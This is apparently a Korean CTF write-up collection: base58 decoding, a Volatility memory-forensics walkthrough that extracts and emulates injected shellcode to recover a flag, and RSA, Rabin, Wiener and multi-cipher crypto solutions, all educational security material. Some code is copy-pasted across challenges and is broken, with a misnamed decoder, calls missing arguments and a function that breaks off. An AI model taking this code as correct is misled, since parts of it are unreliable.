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
추출한 값이 base64로 보여 디코딩을 해보았으나 정상적으로 디코드되지 않았다. 해당 문자열이 몇개로 이루어져있는지 확인하여 보자.
$ awk 'BEGIN{FS=""} {for(i=1;i<=NF;i++) print $(i);};' for100.txt | sort | uniq | wc -l
58
58개의 문자열로 이루어져있어 base58 디코딩 진행
https://www.browserling.com/tools/base58-decode
정상적으로 flag 획득
[2017_trendmicro] [Forensic] Forensic200¶
문제내용¶
We got memory image from victim pc. Please analyze malicious indicator.
문제 풀이¶
메모리 덤프 파일을 주고, 분석을 진행하라고 하니 일단 volatility로 해당 덤프파일의 OS 확인
$ python vol.py imageinfo -f VictimMemory.img
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/joizel/ctf_test/VictimMemory.img)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x8333ec28L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x8333fc00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2017-04-11 02:35:28 UTC+0000
Image local date and time : 2017-04-11 11:35:28 +0900
프로세스 정보 확인
$ python vol.py -f VictimMemory.img --profile=Win7SP1x86_23418 pstree
Volatility Foundation Volatility Framework 2.6
Name Pid PPid Thds Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
0x89d8a530:wininit.exe 412 344 3 78 2017-04-11 02:27:45 UTC+0000
. 0x88a0c030:lsass.exe 516 412 7 547 2017-04-11 02:27:48 UTC+0000
. 0x88a056d8:services.exe 508 412 7 220 2017-04-11 02:27:47 UTC+0000
.. 0x869fa6c0:VSSVC.exe 2304 508 12 194 2017-04-11 02:33:08 UTC+0000
.. 0x89d91030:svchost.exe 1288 508 17 304 2017-04-11 02:28:00 UTC+0000
.. 0x86d7b030:VGAuthService. 1424 508 3 87 2017-04-11 02:28:03 UTC+0000
.. 0x89d6b030:mscorsvw.exe 3096 508 6 74 2017-04-11 02:30:34 UTC+0000
.. 0x88bd3a98:msdtc.exe 1420 508 14 150 2017-04-11 02:28:28 UTC+0000
.. 0x88a4bcd8:vmacthlp.exe 676 508 3 53 2017-04-11 02:27:52 UTC+0000
.. 0x88a808a0:svchost.exe 808 508 20 465 2017-04-11 02:27:53 UTC+0000
... 0x88aa7130:audiodg.exe 952 808 4 122 2017-04-11 02:27:55 UTC+0000
.. 0x869b6030:msiexec.exe 3612 508 9 278 2017-04-11 02:34:25 UTC+0000
.. 0x89c0fb78:svchost.exe 1668 508 8 92 2017-04-11 02:28:12 UTC+0000
.. 0x86986030:sppsvc.exe 3264 508 4 146 2017-04-11 02:30:44 UTC+0000
.. 0x89a3b8e0:SearchIndexer. 2376 508 12 576 2017-04-11 02:29:03 UTC+0000
.. 0x88a87518:svchost.exe 844 508 18 419 2017-04-11 02:27:53 UTC+0000
... 0x88b91030:dwm.exe 568 844 3 70 2017-04-11 02:28:22 UTC+0000
.. 0x86dcf2d0:vmtoolsd.exe 1484 508 8 289 2017-04-11 02:28:07 UTC+0000
... 0x89a73d40:cmd.exe 3880 1484 0 ------ 2017-04-11 02:35:27 UTC+0000
.... 0x869b8d40:ipconfig.exe 3900 3880 0 ------ 2017-04-11 02:35:28 UTC+0000
.. 0x89d0b030:spoolsv.exe 1232 508 12 326 2017-04-11 02:27:59 UTC+0000
.. 0x86400838:taskhost.exe 1976 508 9 165 2017-04-11 02:28:18 UTC+0000
.. 0x8697fa58:svchost.exe 3300 508 9 299 2017-04-11 02:30:45 UTC+0000
.. 0x89a131f8:WmiApSrv.exe 3728 508 5 111 2017-04-11 02:31:41 UTC+0000
.. 0x88add030:svchost.exe 1116 508 16 391 2017-04-11 02:27:57 UTC+0000
.. 0x88a5e528:svchost.exe 720 508 7 284 2017-04-11 02:27:53 UTC+0000
.. 0x88a8baf8:svchost.exe 868 508 42 1017 2017-04-11 02:27:53 UTC+0000
.. 0x88a47130:svchost.exe 616 508 10 359 2017-04-11 02:27:51 UTC+0000
... 0x89b5b5b0:WmiPrvSE.exe 2108 616 10 294 2017-04-11 02:28:37 UTC+0000
... 0x88be3300:WmiPrvSE.exe 204 616 10 204 2017-04-11 02:28:31 UTC+0000
.. 0x88ab6c88:svchost.exe 1008 508 13 282 2017-04-11 02:27:56 UTC+0000
.. 0x8697bd40:svchost.exe 3324 508 5 66 2017-04-11 02:33:09 UTC+0000
.. 0x8694bd40:svchost.exe 3192 508 9 126 2017-04-11 02:30:40 UTC+0000
. 0x88a0ba38:lsm.exe 524 412 10 143 2017-04-11 02:27:48 UTC+0000
0x86d1d7e8:csrss.exe 352 344 9 470 2017-04-11 02:27:43 UTC+0000
. 0x86784030:conhost.exe 3888 352 0 ------ 2017-04-11 02:35:28 UTC+0000
0x8594b7e0:System 4 0 91 490 2017-04-11 02:27:39 UTC+0000
. 0x86dd0d40:smss.exe 268 4 2 29 2017-04-11 02:27:39 UTC+0000
0x89d83478:csrss.exe 404 396 10 199 2017-04-11 02:27:45 UTC+0000
. 0x86938030:conhost.exe 1868 404 3 100 2017-04-11 02:32:03 UTC+0000
0x89da3530:winlogon.exe 444 396 3 114 2017-04-11 02:27:45 UTC+0000
0x88bbaab8:explorer.exe 940 356 31 865 2017-04-11 02:28:23 UTC+0000
. 0x8691c030:cmd.exe 4080 940 1 20 2017-04-11 02:32:02 UTC+0000
.. 0x88abfa78:svchost.exe 3828 4080 1 7 2017-04-11 02:35:18 UTC+0000
. 0x88bca030:vmtoolsd.exe 2216 940 6 191 2017-04-11 02:28:51 UTC+0000
cmd.exe에 svchost.exe가 자식 프로세스로 실행되고 있는 부분이 정상적이지 않아 보이므로 cmdscan을 통해 확인 "1.tmp 0x0 1"이라는 인자를 통해 svchost.exe에 실행된 것을 확인. svchost.exe는 프로세스 덤프로 덤프를 진행하고 1.tmp는 파일 덤프로 진행
$ python vol.py -f VictimMemory.img --profile=Win7SP1x86_23418 procdump --pid=3828 --dump-dir=dump_file/
Volatility Foundation Volatility Framework 2.6
Process(V) ImageBase Name Result
---------- ---------- -------------------- ------
0x88abfa78 0x00ed0000 svchost.exe OK: executable.3828.exe
$ python vol.py -f VictimMemory.img --profile=Win7SP1x86_23418 dumpfiles --regex=1.tmp --pid=3828 --dump-dir=dump_file/
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x88bb47c0 3828 \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp
SharedCacheMap 0x88bb47c0 3828 \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp
svchost.exe 프로세스에 1.tmp파일이 메모리 인젝션되어 동작되는 것으로 보임. 1.tmp파일에 c9 c3(leave ret) 앞에 바이너리를 추출해서 메모리 인젝션 진행.
$ xxd dump_file/file.3828.0x86784ce0.vacb |head -n 30
00000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000010: 5589 e583 ec60 c645 daa8 c645 dbff c645 U....`.E...E...E
00000020: dc88 c645 ddd0 c645 deb2 c645 dff6 c645 ...E...E...E...E
00000030: e0f8 c645 e1ea c645 e2ff c645 e3ff c645 ...E...E...E...E
00000040: e4d2 c645 e5ff c645 e6ff c645 e7c2 c645 ...E...E...E...E
00000050: e8dc c645 e9c2 c645 ead8 c645 ebff c645 ...E...E...E...E
00000060: ecf6 c645 edff c645 eefa c645 efff c645 ...E...E...E...E
00000070: bc55 c645 bd8b c645 beec c645 bf51 c645 .U.E...E...E.Q.E
00000080: c0e8 c645 c100 c645 c200 c645 c300 c645 ...E...E...E...E
00000090: c400 c645 c558 c645 c62d c645 c752 c645 ...E.X.E.-.E.R.E
000000a0: c81f c645 c934 c645 ca01 c645 cb2d c645 ...E.4.E...E.-.E
000000b0: cc52 c645 cd1f c645 ce34 c645 cf01 c645 .R.E...E.4.E...E
000000c0: d0e8 c645 d100 c645 d200 c645 d300 c645 ...E...E...E...E
000000d0: d400 c645 d590 c645 d690 c645 d7c9 c645 ...E...E...E...E
000000e0: d8c3 c645 d9cc c645 a600 c645 a75b c645 ...E...E...E.[.E
000000f0: a800 c645 a900 c645 aa00 c645 ab00 c645 ...E...E...E...E
00000100: ac00 c645 ad00 c645 ae2b c645 af17 c645 ...E...E.+.E...E
00000110: b000 c645 b119 c645 b23f c645 b300 c645 ...E...E.?.E...E
00000120: b400 c645 b500 c645 b600 c645 b703 c645 ...E...E...E...E
00000130: b800 c645 b913 c645 ba00 c645 bb05 c745 ...E...E...E...E
00000140: fc16 0000 00c7 45f4 0000 0000 c745 f000 ......E......E..
00000150: 0000 008b 45f0 83f8 1673 708d 55da 8b45 ....E....sp.U..E
00000160: f001 d00f b600 0fb6 c089 45f8 8d55 a68b ..........E..U..
00000170: 45f0 01d0 0fb6 000f b6c0 8945 f483 7df4 E..........E..}.
00000180: 007e 0a83 45f8 0183 6df4 01eb f08b 45fc .~..E...m.....E.
00000190: 83e8 010f b644 05bc 0fb6 c029 45f8 8b45 .....D.....)E..E
000001a0: fc83 e801 0fb6 4405 bc0f b6c0 3145 f8d1 ......D.....1E..
000001b0: 7df8 8b45 f889 c18d 55da 8b45 f001 d088 }..E....U..E....
000001c0: 0883 6dfc 0183 45f0 01eb 8890 c9c3 0000 ..m...E.........
000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
$ xxd -p dump_file/file.3828.0x86784ce0.vacb |tr -d '\n'|awk -F'c9c3' '{print $1'}
909090909090909090909090909090905589e583ec60c645daa8c645dbffc645dc88c645ddd0c645deb2c645dff6c645e0f8c645e1eac645e2ffc645e3ffc645e4d2c645e5ffc645e6ffc645e7c2c645e8dcc645e9c2c645ead8c645ebffc645ecf6c645edffc645eefac645efffc645bc55c645bd8bc645beecc645bf51c645c0e8c645c100c645c200c645c300c645c400c645c558c645c62dc645c752c645c81fc645c934c645ca01c645cb2dc645cc52c645cd1fc645ce34c645cf01c645d0e8c645d100c645d200c645d300c645d400c645d590c645d690c645d7c9c645d8c3c645d9ccc645a600c645a75bc645a800c645a900c645aa00c645ab00c645ac00c645ad00c645ae2bc645af17c645b000c645b119c645b23fc645b300c645b400c645b500c645b600c645b703c645b800c645b913c645ba00c645bb05c745fc16000000c745f400000000c745f0000000008b45f083f81673708d55da8b45f001d00fb6000fb6c08945f88d55a68b45f001d00fb6000fb6c08945f4837df4007e0a8345f801836df401ebf08b45fc83e8010fb64405bc0fb6c02945f88b45fc83e8010fb64405bc0fb6c03145f8d17df88b45f889c18d55da8b45f001d08808836dfc018345f001eb8890
1.tmp에서 추출한 바이너리를 unicorn CPU 에뮬레이터에 로딩해서 플래그 획득
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
from binascii import *
# code to be emulated
X86_CODE32 = unhexlify("909090909090909090909090909090905589e583ec60c645daa8c645dbffc645dc88c645ddd0c645deb2c645dff6c645e0f8c645e1eac645e2ffc645e3ffc645e4d2c645e5ffc645e6ffc645e7c2c645e8dcc645e9c2c645ead8c645ebffc645ecf6c645edffc645eefac645efffc645bc55c645bd8bc645beecc645bf51c645c0e8c645c100c645c200c645c300c645c400c645c558c645c62dc645c752c645c81fc645c934c645ca01c645cb2dc645cc52c645cd1fc645ce34c645cf01c645d0e8c645d100c645d200c645d300c645d400c645d590c645d690c645d7c9c645d8c3c645d9ccc645a600c645a75bc645a800c645a900c645aa00c645ab00c645ac00c645ad00c645ae2bc645af17c645b000c645b119c645b23fc645b300c645b400c645b500c645b600c645b703c645b800c645b913c645ba00c645bb05c745fc16000000c745f400000000c745f0000000008b45f083f81673708d55da8b45f001d00fb6000fb6c08945f88d55a68b45f001d00fb6000fb6c08945f4837df4007e0a8345f801836df401ebf08b45fc83e8010fb64405bc0fb6c02945f88b45fc83e8010fb64405bc0fb6c03145f8d17df88b45f889c18d55da8b45f001d08808836dfc018345f001eb8890")
# memory address where emulation starts
ADDRESS = 0x1000000
print("Emulate i386 code")
try:
# Initialize emulator in X64bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32)
# initialize machine registers
mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x100000)
# emulate code in infinite time & unlimited instructions
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
# now print out some registers
print("Emulation done. Below is the CPU context")
r_esp = mu.reg_read(UC_X86_REG_ESP)
r_ebp = mu.reg_read(UC_X86_REG_EBP)
print(">>> ESP = 0x%x" %r_esp)
print(">>> EBP = 0x%x" %r_ebp)
bytes_to_read = 0x60
buf = mu.mem_read(r_esp, bytes_to_read)
flag = ''
for i in buf:
try:
print(chr(i))
flag += chr(i)
except:
pass
print(flag)
except UcError as e:
print("ERROR: %s" % e)
CRYPTO¶
[2015_csaw] [CRYPTO] Transfer¶
File analysis¶
pcap 내용을 확인해보니 python 코드와 랜덤한 문자열을 확인할 수 있습니다. 아마도 python 코드로 인코딩된 데이터 값이 랜덤한 문자열인 것으로 보입니다.
python 코드
import string
import random
from base64 import b64encode, b64decode
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']
def rot13(s):
_rot13= string.maketrans(
"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
return string.translate(s, _rot13)
def b64e(s):
return b64encode(s)
def caesar(plaintext, shift=3):
alphabet= string.ascii_lowercase
shifted_alphabet= alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)
def encode(pt, cnt=50):
tmp = '2{}'.format(b64encode(pt))
for cnt in xrange(cnt):
c= random.choice(enc_ciphers)
i= enc_ciphers.index(c) + 1
_tmp= globals()[c](tmp)
tmp= '{}{}'.format(i, _tmp)
return tmp
if __name__ == '__main__':
print encode(FLAG, cnt=?)
random 문자열
2Mk16Sk5iakYxVFZoS1RsWnZXbFZa......(중략)
decode¶
1번 문제의 경우 morse 부호를 디코딩해야 하기 때문에 morse_talk를 사용해서 디코딩을 진행하였습니다. 총 50문제이기 때문에 50번 디코딩을 진행하였습니다.
import morse_talk as mtalk
def decode_morse():
#print ru(s,"text:")
s.send("123\n")
#print ru(s, "\n")
rec_data = ru(s, "\n:")
morse_data = rec_data.split(' decrypted?')[0].split('What is ')[1]
#print morse_data
send_data = mtalk.decode(morse_data.split(' ')[0])
for l in morse_data.split(' ')[1:]:
send_data += ' ' + mtalk.decode(l)
#print send_data
s.send(send_data+'\n')
return ru(s,'\n')
for l in range(50):
decode_morse()
decode rot13¶
2번 문제의 경우 rot13 디코딩을 해야 하는데 기호까지 같이 디코딩을 진행하여야 하기 때문에 codecs에 있는 rot13이 아닌 직접 string에 있는 maketrans를 이용해서 디코딩을 진행하였습니다.
import string
def decode_rot13(s):
s = s.replace("'","`")
rot13 = string.maketrans('{|}~ !"#$%&`()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZnopqrstuvwxyz',
'nopqrstuvwxyz{|}~ !"#$%&`()*+,-./0123NOPQRSTUVWXYZABCDEFGHIJKLMabcdefghijklm')
result = string.translate(s, rot13)
return result
for m in range(51):
decode_rot13()
[2016_icectf] [CRYPTO] RSA¶
rsa¶
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469
decrypted = Mod(c, N) ** d
flag = hex(Integer(decrypted)).decode('hex')
print(flag)
rsa2¶
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
factor(N)
p = 57970027
q = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093
phi = (p-1)*(q-1)
d = inverse_mod(e, phi)
decrypted = Mod(c, N) ** d
flag = hex(Integer(decrypted)).decode('hex')
print(flag)
Rabin¶
N=0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601
c=0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
decrypted = sqrt(Mod(c, N))
flag = hex(Integer(decrypted)).decode('hex')
print(flag)
[2016_tuctf] [CRYPTO] Neverending Crypto¶
nc client¶
nc를 통해 받은 데이터를 파싱해서 디코딩해야하기 때문에 nc client를 사용해야 합니다.
import socket
PORT = 24069
HOSTNAME = '146.148.102.236'
def tcp(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(( HOSTNAME, PORT ))
return s
def ru(s, term):
o = ''
while True:
t = s.recv(1)
o += t
if term in o or len(t)==0:
return o
s = tcp(HOSTNAME,PORT)
decode morse¶
1번 문제의 경우 morse 부호를 디코딩해야 하기 때문에 morse_talk를 사용해서 디코딩을 진행하였습니다. 총 50문제이기 때문에 50번 디코딩을 진행하였습니다.
import morse_talk as mtalk
def decode_morse():
#print ru(s,"text:")
s.send("123\n")
#print ru(s, "\n")
rec_data = ru(s, "\n:")
morse_data = rec_data.split(' decrypted?')[0].split('What is ')[1]
#print morse_data
send_data = mtalk.decode(morse_data.split(' ')[0])
for l in morse_data.split(' ')[1:]:
send_data += ' ' + mtalk.decode(l)
#print send_data
s.send(send_data+'\n')
return ru(s,'\n')
for l in range(50):
decode_morse()
decode rot13¶
2번 문제의 경우 rot13 디코딩을 해야 하는데 기호까지 같이 디코딩을 진행하여야 하기 때문에 codecs에 있는 rot13이 아닌 직접 string에 있는 maketrans를 이용해서 디코딩을 진행하였습니다.
import string
def decode_morse():
s = s.replace("'","`")
rot13 = string.maketrans(
'{|}~ !"#$%&`()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZnopqrstuvwxyz',
'nopqrstuvwxyz{|}~ !"#$%&`()*+,-./0123NOPQRSTUVWXYZABCDEFGHIJKLMabcdefghijklm')
result = string.translate(s, rot13)
return result
for m in range(51):
decode_rot13()
[2017_HackCon] [CRYPTO] RSA-2¶
문제내용¶
n = 109676931776753394141394564514720734236796584022842820507613945978304098920529412415619708851314423671483225500317195833435789174491417871864260375066278885574232653256425434296113773973874542733322600365156233965235292281146938652303374751525426102732530711430473466903656428846184387282528950095967567885381
e = 49446678600051379228760906286031155509742239832659705731559249988210578539211813543612425990507831160407165259046991194935262200565953842567148786053040450198919753834397378188932524599840027093290217612285214105791999673535556558448523448336314401414644879827127064929878383237432895170442176211946286617205
c = 103280644092615059984518332609100925251130437801342718478803923990158474621180283788652329522078935869010936203566024336697568861166241737937884153980866061431062015970439320809653170936674539901900312536610219900459284854811622720209705994060764318380465515920139663572083312965314519159261624303103692125635
문제 풀이¶
n과 e로 p, q를 구하는 함수가 있다. 가져다 쓰자.
sage: def factor_rsa_wiener(N, e):
"""Wiener's attack: Factorize the RSA modulus N given the public exponents
e when d is small.
Source: https://crypto.stanford.edu/~dabo/papers/RSA-survey.pdf
CTF: BKP CTF 2016 Bob's Hat
"""
N = Integer(N)
e = Integer(e)
cf = (e / N).continued_fraction().convergents()
for f in cf:
k = f.numer()
d = f.denom()
if k == 0:
continue
phi_N = ((e * d) - 1) / k
b = -(N - phi_N + 1)
dis = b ^ 2 - 4 * N
if dis.sign() == 1:
dis_sqrt = sqrt(dis)
p = (-b + dis_sqrt) / 2
q = (-b - dis_sqrt) / 2
